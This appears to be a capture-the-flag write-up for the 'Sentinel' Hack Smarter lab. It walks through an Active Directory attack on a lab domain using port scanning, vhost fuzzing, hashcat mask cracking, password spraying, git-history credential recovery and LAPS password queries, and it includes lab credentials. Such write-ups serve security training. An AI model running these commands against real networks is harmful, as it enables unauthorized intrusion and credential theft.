> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/sentinel.md).

# Sentinel

Challenge Lab (Hard) - by investigato

{% embed url="<https://www.hacksmarter.org/courses/5fd381ec-4aa9-4cdd-ab10-85ebe36bc57c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been hired to perform a red team engagement against Trask Industries. Trask is a forward-thinking technology firm, with a heavy focus on research and development (R\&D).

Trask Industries is not aware of the engagement; instead, you have been hired as a new employee in the R\&D department. Your task is to begin as a "new employee" and demonstrate impact by elevating your privileges to Domain Admin (if possible).

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

Below is your onboarding document. Download the document, and use the information for initial access.

In this document, we find the credentials for the user `k.pryde`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FARBQD22HGRq46H9zNQdu%2Fgrafik.png?alt=media&amp;token=1d87ecdf-d94a-42eb-906f-8ec295911ec3" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
 k.pryde@trask.hsm:KP_TempPass_1988!
```

{% endcode %}

#### Hash Cracking <a href="#user-content-hash-cracking" id="user-content-hash-cracking"></a>

To save you time on any hash cracking, a custom wordlist is provided.

## Summary

<details>

<summary>Summary</summary>

In Sentinel, we enumerate a single Domain Controller `DC01.trask.hsm` with `rustscan` piped into `Nmap`, finding DNS, Kerberos, LDAP, SMB with signing required, WinRM, a Caddy web server on port `80`, and a Microsoft HTTPAPI service on the non-standard port `45985`. SMB shows NTLM is unsupported, so Kerberos must be used via the `-k` flag, and we generate a hosts file and `krb5.conf` with `NetExec`. The `guest` account and welcome-letter credentials both fail against the domain, so we pivot to the web. VHOST fuzzing with `FFuF` discovers the onboarding portal, where the welcome-letter credentials log us in as `k.ryan`. The portal exposes a password policy and a password-protected ZIP; `rockyou.txt` fails, but we turn the policy into a `hashcat` mask attack to crack it. The archive yields employee names, and spraying the recovered passwords authenticates us as `k.ryan`.

BloodHound shows no direct path, but a readable share contains a `.git` folder. We pull it recursively with NetExec's `spider_plus` module and review the git history to recover a deleted username and password, authenticating as `e.parsons`. As a member of `R&D_Auditors`, `e.parsons` can decrypt LAPS passwords, which we confirm by reading the SYSVOL `Registry.pol` files and find a LAPS policy naming the `lab-admin` account. We query `msLAPS-EncryptedPassword` with `bloodyAD`, recognize the Windows LAPS v2.0 DPAPI-NG blob, and decrypt it with a Python `dpapi-ng` script. The target `SENTINEL-PROTO` never appeared in scans, but recalling the forwarded port `45985`, we connect via `evil-winrm` as `lab-admin` and grab the user flag.

On `SENTINEL-PROTO`, a `DCSecure` application runs every 30 minutes via a scheduled task; querying it with `schtasks` exposes the `svc_dcsecure_agent` credentials. This account has `CREATE_CHILD` on an OU, while `svc_dcsecure_core` sits tombstoned under our write permission, so we reanimate it with `bloodyAD` into that OU and inherit the same password. As `svc_dcsecure_core`, a member of Remote Management Users, we get a WinRM shell on the DC. There, a `SentinelSecurity.Client` binary provisions a temporary machine account whose group holds `WriteOwner` over Sentinel Service Account Readers. We chain set owner, `GenericAll`, and add member, then dump the gMSA password of `svc_mmold` with `NetExec`.

As `svc_mmold`, we have write access over `m.mold` but no SPN to Kerberoast, so we register one ourselves; the account is AES-only, so we patch Impacket's `kerberosv5.py` to request AES instead of RC4, then crack the resulting ticket and authenticate as `m.mold`. With no further paths, we dump the directory with an authenticated GSSAPI `ldapsearch` and find a base58-encoded `unixUserPassword` belonging to `b.trask`, which we decode in CyberChef. The user `b.trask` is also a member of Remote Management Users, granting another WinRM session. There we re-run `SentinelSecurity.Client.exe` and find a `deploy` command that applies configuration to a Sentinel Action policy; we craft a Group Policy Preferences XML adding `b.trask` to the Administrators group, test it, then activate it. Now a local administrator, we reconnect via `evil-winrm` and retrieve the root flag at `C:\Users\Administrator\Desktop\root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.0.0.5 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.0.5 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fx6fNGVD05V9Y3plZ0Y2T%2Fgrafik.png?alt=media&amp;token=724b5c99-ee23-4f0a-9aeb-7c27f0ed1103" alt=""><figcaption></figcaption></figure>

The target `10.0.0.5` is a Domain Controller, `DC01.trask.hsm`, in the `trask.hsm` domain. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`, with the Global Catalog on ports `3268` and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management is available through WinRM on port `5985`. The host also exposes RPC over HTTP on ports `593` and `57487`, and several MSRPC endpoints on ports `135`, `49664`, `49667`, and the `57494–57520` range. A Microsoft HTTPAPI service is additionally listening on the non-standard port `45985`. An HTTP server on port `80` is running Caddy, serving a site.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fiujcr8iQWcliiRZxBIeY%2Fgrafik.png?alt=media&amp;token=2448affb-86ed-49d4-933e-9255afa5636c" alt=""><figcaption></figcaption></figure>

### SMB

We will generate a hosts file entry with the following command and see that NTLM authentication is not supported, meaning we may need to use Kerberos authentication via the `-k` flag if we find any credentials.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.0.5 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FssY4Di3B4KCqISBKYbZA%2Fgrafik.png?alt=media&amp;token=d2b53fa3-822c-4160-b58b-c33025eb26fa" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.0.0.5     DC01.trask.hsm trask.hsm DC01
```

{% endcode %}

We generate the `krb5.conf` file using NetExec so that Kerberos knows which domain controller to contact for authentication in all future Kerberos-based requests.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -u 'guest' -p '' --generate-krb5-file /etc/krb5.conf
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdY5FIoE4IzqpEC38aSqC%2Fgrafik.png?alt=media&amp;token=852023da-ed8e-4cd1-8c1b-65d245a1a985" alt=""><figcaption></figcaption></figure>

We try to authenticate as guest again but now receive the error message `KDC_ERR_CLIENT_REVOKED`, which means the account's credentials have been revoked by the KDC. This indicates that the `guest` account exists on the domain but has been disabled.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC01.trask.hsm -u guest -p '' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLhFdVPJNLeIZ59vuDVyG%2Fgrafik.png?alt=media&amp;token=30e87f3c-7684-4df5-81b9-cecd15a3cc82" alt=""><figcaption></figcaption></figure>

We will now use the credentials provided in the attached welcome letter, but here, too, we receive an error message that reads `KDC_ERR_PREAUTH_FAILED`, which means Kerberos pre-authentication failed for the account. So the password is probably incorrect.

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.0.5 -k -u 'k.pryde@trask.hsm' -p 'KP_TempPass_1988!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEc5Rtizn927oQzoGHkCl%2Fgrafik.png?alt=media&amp;token=82f68b12-cc04-4a77-a88c-8c41c7e2e4c2" alt=""><figcaption></figcaption></figure>

### WEB

Since we can't use these credentials to authenticate against the domain, let's take a look at the web site. This seems to be just a static one.

{% code overflow="wrap" expandable="true" %}

```
http://trask.hsm/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnyxHq1khjRlnsyvlGyq9%2Fgrafik.png?alt=media&amp;token=319185be-26a8-467c-8ae3-86ca21c2ea96" alt=""><figcaption></figcaption></figure>

Also a directory scan does not reveal anything.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://trask.hsm' -C 429
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrwxBXavKx4nwElNMZJMY%2Fgrafik.png?alt=media&amp;token=76fa8a18-c6a4-4c10-84fd-72339dbfd7f8" alt=""><figcaption></figcaption></figure>

We're trying to enumerate additional VHOSTs using the usual list we normally use. However, we're only finding the VHOST `www`, which takes us to the same static page after editing our `/etc/hosts` file.&#x20;

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.trask.hsm" -u http://trask.hsm -fw 1
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fhee1UYrp6TsOfa3mst6s%2Fgrafik.png?alt=media&amp;token=1c96f8b7-bc1c-4514-ac0c-562871de8c63" alt=""><figcaption></figcaption></figure>

We're testing more lists from the SecLists collection and with our initial filtering method we do not find another VHOST again...&#x20;

We try to filter for redirects now and go through every list from the seclists collection and we will find another VHOST with the `bitquark-subdomains-top100000.txt` list. We identify `onboarding` as another VHOST.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.trask.hsm" -u http://trask.hsm -mc 301,302
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZF5bk9rPQA1btslAvPb5%2Fgrafik.png?alt=media&amp;token=a5b18e93-a62c-4805-a37a-2b04f16cfb16" alt=""><figcaption></figcaption></figure>

Our /`etc/hosts` file looks now as follows:

{% code overflow="wrap" expandable="true" %}

```
10.0.0.5     DC01.trask.hsm trask.hsm DC01 www.trask.hsm onboarding.trask.hsm
```

{% endcode %}

We visit the site hosted on the VHOSTS `onboarding` and are redirected to a sign-in page.

{% code overflow="wrap" expandable="true" %}

```
http://onboarding.trask.hsm/sign-in
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpLerURpZRaoJkkQCScqG%2Fgrafik.png?alt=media&amp;token=9044eab8-2a0d-44c6-b370-09b3c4cc8aeb" alt=""><figcaption></figcaption></figure>

We enter the credentials found in the attached welcome letter...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtjaoJWallhKPjIFhS9JB%2Fgrafik.png?alt=media&amp;token=de903e5c-dc12-4a79-9d53-a207bdfd2511" alt=""><figcaption></figcaption></figure>

... and we are able to log in.

{% code overflow="wrap" expandable="true" %}

```
http://onboarding.trask.hsm/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUlJTpzvILahFM3vVd8tH%2Fgrafik.png?alt=media&amp;token=d68bd0a9-0b6c-456d-b8c2-2d9471d0ee7a" alt=""><figcaption></figcaption></figure>

## Access as k.ryan

The onboarding portal provides documentation for new employees that includes, among other things, a password policy with an example.

{% code overflow="wrap" expandable="true" %}

```
http://onboarding.trask.hsm/it-services-and-support/password-policy/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJmvirxz3xHWGTaqY1gui%2Fgrafik.png?alt=media&amp;token=c076df0e-6631-4854-96bd-12bcd592ee58" alt=""><figcaption></figcaption></figure>

In addition, there is a download link to download the onboarding materials in a ZIP file.

{% code overflow="wrap" expandable="true" %}

```
http://onboarding.trask.hsm/your-records/export-all-files/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4BqmTydn1w0MmhQX1btv%2Fgrafik.png?alt=media&amp;token=d2e5baa7-2757-4bee-ad76-a70a05a2bf55" alt=""><figcaption></figcaption></figure>

We download it and notice that it is password-protected. Using Zip2John, we generate a hash so we can crack the password.

{% code overflow="wrap" expandable="true" %}

```
zip2john onboarding-documents.zip > onboarding.hash
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqD7DrH2PrSGMCNKXSlnz%2Fgrafik.png?alt=media&amp;token=ac29c5b8-e605-4f9a-b2be-68854420322a" alt=""><figcaption></figcaption></figure>

We are not able to crack the hash using `rockyou.txt`. Since `rockyou.txt` fails to crack the hash, we turn to the password policy from the onboarding portal, which gives a very specific 16-character construction: an uppercase starting letter, any mix of letters and numbers, the full year of hire, and a terminating special character from `(!,@,#,$)` giving us a masked example `ProtoTr****1973!` too, which has exactly 4 unknown characters. Because those 4 positions can each be an uppercase letter, lowercase letter, or digit, we can feed this pattern to hashcat as a mask attack, defining a custom charset `?u?l?d` and placing it in the four missing slots as `?1`. We are able to crack the hash...

{% code overflow="wrap" expandable="true" %}

```
hashcat -O -m 17225 -w 4 onboarding.hash -a 3 -1='?u?l?d' 'ProtoTr?1?1?1?11973!' --username
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcwXNcPX62REQzw7EmZEy%2Fgrafik.png?alt=media&amp;token=55d99b24-17c3-44f2-89ba-2838725377e9" alt=""><figcaption></figcaption></figure>

... and are now able to unzip the onboarding documents.

{% code overflow="wrap" expandable="true" %}

```
unzip onboarding-documents.zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKgfjVnWU9gabyDQUM3Ez%2Fgrafik.png?alt=media&amp;token=91de04e1-3505-4e73-b619-c4ce60897450" alt=""><figcaption></figcaption></figure>

From one of the documents in the zip file, named `orientation-schedule.md`, we can identify a few names. Since we now have at least two valid passwords (from the welcome letter and the zip file), we'll try them on potential users.

{% code overflow="wrap" expandable="true" %}

```
orientation-schedule.md
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqJdnwL79F17wbpiDCVA8%2Fgrafik.png?alt=media&amp;token=f8790342-c69c-4378-a199-0e75a20c98a8" alt=""><figcaption></figcaption></figure>

We derive a users list by the names we found...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlCuu2XcnVMOXxVNUCQyt%2Fgrafik.png?alt=media&amp;token=9f00a2c8-a325-422b-8126-dd50a8764e74" alt=""><figcaption></figcaption></figure>

{% code title="usernames.txt" overflow="wrap" expandable="true" %}

```
j.berwick
berwick.j
jenine.b
b.jenine
jenine.berwick
berwick.jenine
jberwick
berwickj
jenineb
bjenine
jenineberwick
berwickjenine
trask
d.dunsire
dunsire.d
danny.d
d.danny
danny.dunsire
dunsire.danny
ddunsire
dunsired
dannyd
ddanny
dannydunsire
dunsiredanny
k.curgenven
curgenven.k
karleen.c
c.karleen
karleen.curgenven
curgenven.karleen
kcurgenven
curgenvenk
karleenc
ckarleen
karleencurgenven
curgenvenkarleen
l.mitchell
mitchell.l
logan.m
m.logan
logan.mitchell
mitchell.logan
lmitchell
mitchelll
loganm
mlogan
loganmitchell
mitchelllogan
k.ryan
ryan.k
kayla.r
r.kayla
kayla.ryan
ryan.kayla
kryan
ryank
kaylar
rkayla
kaylaryan
ryankayla
e.parsons
parsons.e
emily.p
p.emily
emily.parsons
parsons.emily
eparsons
parsonse
emilyp
pemily
emilyparsons
parsonsemily
```

{% endcode %}

... and spray the passwords using NetExec and are able to authenticate as `k.ryan` with the password used to protect the zip file.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k -u usernames.txt -p 'REDACTED' --continue-on-success | grep '[+]' 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7Xpuh4mbNWnuINP5OOiy%2Fgrafik.png?alt=media&amp;token=43d53948-d5a0-447f-90f2-935a56945e48" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

Using a valid user account, we are now attempting to enumerate the domain using Kerberos authentication via bloodhound-ce.py ingestor. We request a TGT and export the ccache file. However, the attempt using bloodhound-ce.py fails. We try another aproach with the alternative rusthound and are successful.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/k.ryan:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/k.ryan.ccache 
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
rusthound -d trask.hsm --ldapfqdn DC01.trask.hsm --name-server 10.0.0.5 --zip --kerberos
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8LLNvXvEf4M8diHlOg3B%2Fgrafik.png?alt=media&amp;token=d1d45c14-4f73-4e31-aaaf-c5bcab9818c5" alt=""><figcaption></figcaption></figure>

We mark the compromised user `k.ryan` as owned. We see that the user is member of the `it` group, the `newemployeeonboarding` group and the `non_r&d_staff`. The Bloodhound data itself does not reveal any path to lateral movement or privilege escalation for now.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F01yezA42zn7RmSdF0F5r%2Fgrafik.png?alt=media&amp;token=870a4c03-ec44-4c4c-84e3-1a35a2e19aad" alt=""><figcaption></figcaption></figure>

We only identify the Administrator user as the only Domain Admin.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZw5Mqi3IOh84oWqYFAoJ%2Fgrafik.png?alt=media&amp;token=811cde9f-f1bd-4d7a-8248-0a75d796baa2" alt=""><figcaption></figcaption></figure>

## Access as e.parsons

We use NetExec to list the shares that `k.ryan` can read from and write to, and find the `New_Employee_Onboarding` share, to which we have read access.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k -u k.ryan -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdZd2SRGJhhsUYWjCkggr%2Fgrafik.png?alt=media&amp;token=50e5b7cd-afc2-4ef2-b15f-07be6de9d605" alt=""><figcaption></figcaption></figure>

If this hasn't been done yet, we request a TGT and export the ccache file

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/k.ryan:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/k.ryan.ccache 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fz4oyoHBEbkT2C7gmgb9m%2Fgrafik.png?alt=media&amp;token=78e81d9a-adf8-4f8b-b16e-0bee6695808c" alt=""><figcaption></figcaption></figure>

Next, we connect to the `New_Employee_Onboarding` using smbclient.py and find a `.git` folder.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py 'trask.hsm/k.ryan@DC01.trask.hsm' -k -no-pass
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FF4ywu80y4u0ODmzeAZsN%2Fgrafik.png?alt=media&amp;token=d743cb1a-e3f0-4b85-8a0b-36711a6ec0a4" alt=""><figcaption></figcaption></figure>

We inspect the Git reflog by reading `logs/HEAD` from the `.git` directory, which reveals the repository's commit history. This shows a commit about redacting the trainer password from the `Trainer_Guide`. We could make further progress here. The idea is to view the history and changes made and thereby reveal the password, which we could then use for a password spray attack for example.

{% code overflow="wrap" expandable="true" %}

```
cat logs/HEAD
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEQeGHVUQQeQ1tjZ4qPOI%2Fgrafik.png?alt=media&amp;token=d7bfca9a-5c05-4e4b-aa7b-8b1679e47afb" alt=""><figcaption></figcaption></figure>

Unfortunately, we cannot use smbclient.py to recursively download the entire folder structure. Authentication using smbclient also fails. As an alternative, we can use the spider\_plus module from NetExec to not only enumerate all shares but also download them recursively.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k -u k.ryan -p 'REDACTED' -M spider_plus -o DOWNLOAD_FLAG=True
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHya0XH3hHlJcl0JosKp8%2Fgrafik.png?alt=media&amp;token=76f313ee-539e-4aac-aa1a-27156e39b5c6" alt=""><figcaption></figcaption></figure>

After downloading all the shares using the spider\_plus module, we navigate to the .`git` folder and review the change history as follows.

{% code overflow="wrap" expandable="true" %}

```
git --no-pager log -p --all
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6AGl9QgnOEsXwmRrYiGc%2Fgrafik.png?alt=media&amp;token=a08a6989-c81c-47c8-a043-0071067bf89e" alt=""><figcaption></figcaption></figure>

We scroll through the output and find not only a password but also a corresponding username that was deleted from the guide.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3VEDsdZufVVNnmmYq3Rs%2Fgrafik.png?alt=media&amp;token=c9853dfb-11e6-4653-a9b7-fd944f23740e" alt=""><figcaption></figcaption></figure>

We test the credentials and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.trask.hsm -k -u e.parsons -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtAk5bCWJOj30KizZ9Qve%2Fgrafik.png?alt=media&amp;token=6b77fbc2-a4d9-4aec-9352-6074162c41a2" alt=""><figcaption></figcaption></figure>

## Shell as lab-admin

Next, we revisit our BloodHound data and mark the user `e.parsons` as owned. We see that the user is member of the `r&d` and the `r&d_auditors` group. But here, too, we don't see a direct path in our Bloodhound data to move laterally or escalate our privileges. Nevertheless, these groups are interesting to start with.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fue88Gc3W4S91n0OV4sLC%2Fgrafik.png?alt=media&amp;token=9611f646-d4c0-497f-a7e0-e6a65277ec2d" alt=""><figcaption></figcaption></figure>

After analyzing BloodHound data, we identified that the compromised user is a member of both the `R&D` and `R&D_Auditors` groups. No further attack paths were discovered through BloodHound, and a PowerView\.py connection was not possible. As a last resort, we manually inspected the SYSVOL Group Policy objects. Before that we grep for `R&D` as a quick win and discover a LAPS policy (`{4AF28D0B-7E1C-4AF6-8635-53F1AFFE15CB}`) that designates `TRASK\R&D_Auditors` as the `ADPasswordEncryptionPrincipal`, meaning members of this group can decrypt the LAPS-managed local administrator password (`lab-admin`) on machines where this policy applies. Grepping SYSVOL for specific strings in `Registry.pol` files requires handling UTF-16LE encoding, as standard `grep` silently skips binary content.

The `-iRlaP` flags tell grep to search recursively through all files (`R`), treating binary files as text (`a`), in a case-insensitive manner (`i`), printing only matching filenames (`l`), using Perl-compatible regex (`P`) to match the null bytes present in UTF-16LE encoded files.

{% code overflow="wrap" expandable="true" %}

```
grep -iRlaP 'R\x00&\x00D' .
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRJ76Bhi1zLErReS93HLQ%2Fgrafik.png?alt=media&amp;token=490017da-c792-47be-867c-55124489a6ad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FprFWgjBS01cLmSNgN0iv%2Fgrafik.png?alt=media&amp;token=2bffba35-b94f-4451-b081-a1dbd58996ea" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
PReg[SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;ADEncryptedPasswordHistorySize;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;ADPasswordEncryptionEnabled;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;ADPasswordEncryptionPrincipal;;&;TRASK\R&D_Auditors][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;AdministratorAccountName;;;lab-admin][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;BackupDirectory;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;PasswordExpirationProtectionEnabled;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;PasswordComplexity;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;PasswordLength;;;
                                                           ][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;PasswordAgeDays;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;PostAuthenticationResetDelay;;;][SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS;PostAuthenticationActions;;;]
```

{% endcode %}

Since the user `e.parsons` is able to decrypt the LAPS-managed local administrator password for `lab-admin` we try to query such. We request a Kerberos TGT for `e.parsons` using `getTGT.py`. We then export the `KRB5CCNAME` environment variable to point at the newly created `e.parsons.ccache` file, so that our tooling uses this ticket for authentication.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py trask.hsm/e.parsons:'REDACTED' -dc-ip 10.0.0.5
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=e.parsons.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYhaR4VZ5ML2uOOEt7NK4%2Fgrafik.png?alt=media&amp;token=7039d6d8-e220-4f2e-b9f9-eff7d7c1dfc8" alt=""><figcaption></figcaption></figure>

Finally, we use `bloodyAD` with Kerberos authentication `-k` to query the DC over LDAP for all computer objects and retrieve their `msLAPS-EncryptedPassword` attribute, leveraging our `R&D_Auditors` membership to decrypt the LAPS-managed local administrator password. But we only receive an encrypted password.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -d trask.hsm -u e.parsons -k --host DC01.trask.hsm get search --filter '(objectClass=computer)' --attr msLAPS-EncryptedPassword
```

{% endcode %}

